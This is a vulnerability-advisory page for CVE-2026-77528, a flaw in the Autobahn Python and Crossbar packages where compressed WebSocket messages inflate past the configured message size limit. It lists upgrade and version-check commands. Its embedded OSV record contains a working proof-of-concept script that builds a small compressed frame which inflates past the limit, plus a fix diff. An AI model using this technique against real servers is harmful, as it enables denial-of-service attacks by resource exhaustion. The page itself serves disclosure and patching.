Vulnerabilities in pkg:pypi/crossbar
PACKAGECVE-2026-77528 is a MODERATE (CVSS 5.3) autobahn python permessage-deflate bypasses maxmessagepayloadsize vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting Autobahn libraries in the PyPI ecosystem. The issue involves autobahn python permessage-deflate bypasses maxmessagepayloadsize after inflation. Remediation is available by upgrading affected packages to version 26.7.1.
pkg:pypi/crossbar
Vulnerability advisories affecting package pkg:pypi/crossbar. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-hxp9-w8x3-p566 | CVE-2026-77528 | MODERATE | Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation |
CVE-2026-77528 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).
How to Fix CVE-2026-77528
To remediate this vulnerability, upgrade all affected Autobahn dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install autobahn>=26.7.1
pip install crossbar>=26.7.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show autobahn
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-77528, inspect your installed packages using pip:
pip show autobahn
Analyze the terminal output to locate any version of Autobahn in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 26.7.1), your application is affected.
Note: The pip show autobahn command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In Autobahn, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-77528 Affected Autobahn Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
autobahn
|
PyPI |
< 26.7.1
|
26.7.1
|
|
crossbar
|
PyPI |
< 26.7.1
|
26.7.1
|
References
Frequently Asked Questions
What is CVE-2026-77528?
Which Autobahn versions are affected?
What version fixes CVE-2026-77528?
Is autobahn affected?
Is crossbar affected?
What is the CVSS score of CVE-2026-77528?
What CWE is associated with CVE-2026-77528?
How can I check PyPI dependencies for CVE-2026-77528?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hxp9-w8x3-p566",
"modified" : "2026-09-22T20:37:28Z",
"published" : "2026-09-22T20:37:28Z",
"aliases" : [ "CVE-2026-77528" ],
"summary" : "Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation",
"details" : "### Summary\nAutobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.\n\n### Details\nThe permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.\n\n### Reproduction\n```py\nimport sys\nimport types\nimport zlib\n\n\nif len(sys.argv) != 2:\n raise SystemExit(\"usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>\")\n\nSRC = sys.argv[1]\n\n\nclass _Log:\n def debug(self, *args, **kwargs):\n pass\n\n def warn(self, *args, **kwargs):\n pass\n\n def error(self, *args, **kwargs):\n pass\n\n\nclass _Timer:\n def call_later(self, *args, **kwargs):\n return self\n\n def cancel(self):\n pass\n\n\ntxaio = types.ModuleType(\"txaio\")\ntxaio.make_logger = lambda: _Log()\ntxaio.create_future = lambda result=None: result\ntxaio.resolve = lambda future, value=None: None\ntxaio.reject = lambda future, error=None: None\ntxaio.add_callbacks = (\n lambda future, callback=None, errback=None: callback(future) if callback else None\n)\ntxaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)\ntxaio.failure_format_traceback = lambda err: str(err)\ntxaio.call_later = lambda *args, **kwargs: _Timer()\ntxaio.make_batched_timer = lambda *args, **kwargs: _Timer()\ntxaio.time_ns = lambda: 0\ntxaio.use_asyncio = lambda: None\ntxaio.use_twisted = lambda: None\nsys.modules[\"txaio\"] = txaio\n\nhyperlink = types.ModuleType(\"hyperlink\")\n\n\nclass _URL:\n @classmethod\n def from_text(cls, text):\n return cls(text)\n\n def __init__(self, text):\n self._text = text\n\n def to_uri(self):\n return self\n\n def normalize(self):\n return self\n\n def to_text(self):\n return self._text\n\n\nhyperlink.URL = _URL\nsys.modules[\"hyperlink\"] = hyperlink\n\nwamp_types = types.ModuleType(\"autobahn.wamp.types\")\n\n\nclass TransportDetails:\n pass\n\n\nwamp_types.TransportDetails = TransportDetails\nsys.modules[\"autobahn.wamp.types\"] = wamp_types\n\nsys.path.insert(0, SRC + \"/src\")\n\nfrom autobahn.websocket.compress_deflate import PerMessageDeflate\nfrom autobahn.websocket.protocol import WebSocketProtocol\n\n\nclass _Factory:\n isServer = True\n requireMaskedClientFrames = True\n maskServerFrames = False\n utf8validateIncoming = True\n applyMask = True\n maxFramePayloadSize = 128\n maxMessagePayloadSize = 128\n autoFragmentSize = 0\n failByDrop = True\n echoCloseCodeReason = False\n openHandshakeTimeout = 5\n closeHandshakeTimeout = 1\n tcpNoDelay = True\n autoPingInterval = 0\n autoPingTimeout = 0\n autoPingSize = 12\n autoPingRestartOnAnyTraffic = True\n logOctets = False\n logFrames = False\n trackTimings = False\n versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS\n webStatus = False\n perMessageCompressionAccept = staticmethod(lambda offer: None)\n serveFlashSocketPolicy = False\n flashSocketPolicy = \"\"\n allowedOrigins = [\"*\"]\n allowedOriginsPatterns = []\n allowNullOrigin = True\n maxConnections = 0\n trustXForwardedFor = 0\n _batched_timer = _Timer()\n\n\nclass CapturingProtocol(WebSocketProtocol):\n CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER\n\n def __init__(self):\n super().__init__()\n self.delivered = None\n\n def _onMessageBegin(self, isBinary):\n self.onMessageBegin(isBinary)\n\n def _onMessageFrameBegin(self, length):\n self.onMessageFrameBegin(length)\n\n def _onMessageFrameData(self, payload):\n self.onMessageFrameData(payload)\n\n def _onMessageFrameEnd(self):\n self.onMessageFrameEnd()\n\n def _onMessageFrame(self, payload):\n self.onMessageFrame(payload)\n\n def _onMessageEnd(self):\n self.onMessageEnd()\n\n def _onMessage(self, payload, isBinary):\n self.delivered = payload\n\n def sendData(self, data, sync=False, chopsize=None):\n pass\n\n def dropConnection(self, abort=True):\n self.droppedByMe = True\n self.state = WebSocketProtocol.STATE_CLOSED\n\n\ndef masked_compressed_text_frame(payload):\n compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)\n compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)\n compressed = compressed[:-4]\n mask = b\"\\x11\\x22\\x33\\x44\"\n masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))\n if len(compressed) <= 125:\n header = bytes([0xC1, 0x80 | len(compressed)])\n elif len(compressed) <= 65535:\n header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, \"big\")\n else:\n raise RuntimeError(\"compressed fixture too large\")\n return header + mask + masked, len(compressed)\n\n\nlimit = 128\ninflated = b\"X\" * 4096\nframe, compressed_len = masked_compressed_text_frame(inflated)\nif compressed_len >= limit:\n raise SystemExit(\"compressed fixture does not pass pre-inflate limit\")\n\nproto = CapturingProtocol()\nproto.factory = _Factory()\nproto.log = _Log()\nproto._connectionMade()\nproto._perMessageCompress = PerMessageDeflate(\n is_server=True,\n server_no_context_takeover=False,\n client_no_context_takeover=False,\n server_max_window_bits=15,\n client_max_window_bits=15,\n mem_level=8,\n max_message_size=None,\n)\nproto.state = WebSocketProtocol.STATE_OPEN\nproto.inside_message = False\nproto.current_frame = None\nproto.websocket_version = 13\n\nproto._dataReceived(frame)\n\ndelivered_len = len(proto.delivered or b\"\")\nif delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:\n print(\n \"AUTOBAHN_DEFLATE_LIMIT_BYPASS \"\n f\"delivered_length={delivered_len} configured_limit={limit} \"\n f\"compressed_length={compressed_len}\"\n )\n raise SystemExit(0)\n\nprint(\n \"guarded \"\n f\"delivered_length={delivered_len} configured_limit={limit} \"\n f\"compressed_length={compressed_len} \"\n f\"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}\"\n)\nraise SystemExit(1)\n\n```\n\n### Impact\nA remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on `maxMessagePayloadSize` as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level `max_message_size` cap because it remains `None`. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.\n\n### Suggested fix\n```001-fix.diff\ndiff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py\nindex 3c060804..4514e3cb 100644\n--- a/src/autobahn/websocket/protocol.py\n+++ b/src/autobahn/websocket/protocol.py\n@@ -1869,6 +1869,17 @@ class WebSocketProtocol:\n if self.state == WebSocketProtocol.STATE_OPEN:\n self.trafficStats.incomingOctetsWebSocketLevel += compressedLen\n self.trafficStats.incomingOctetsAppLevel += uncompressedLen\n+\n+ if self._isMessageCompressed:\n+ self.message_data_total_length += uncompressedLen - compressedLen\n+ if 0 < self.maxMessagePayloadSize < self.message_data_total_length:\n+ self.wasMaxMessagePayloadSizeExceeded = True\n+ self._max_message_size_exceeded(\n+ self.message_data_total_length,\n+ self.maxMessagePayloadSize,\n+ f\"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets\",\n+ )\n+ return False\n \n # incrementally validate UTF-8 payload\n #\n```\n\n*Reported by Team Atlanta.*",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "autobahn"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "26.7.1"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "crossbar"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "26.7.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-77528"
}, {
"type" : "WEB",
"url" : "https://github.com/crossbario/autobahn-python/pull/1916"
}, {
"type" : "WEB",
"url" : "https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/crossbario/autobahn-python"
}, {
"type" : "WEB",
"url" : "https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-409", "CWE-770" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-22T20:37:28Z",
"nvd_published_at" : "2026-09-18T20:17:22Z"
}
}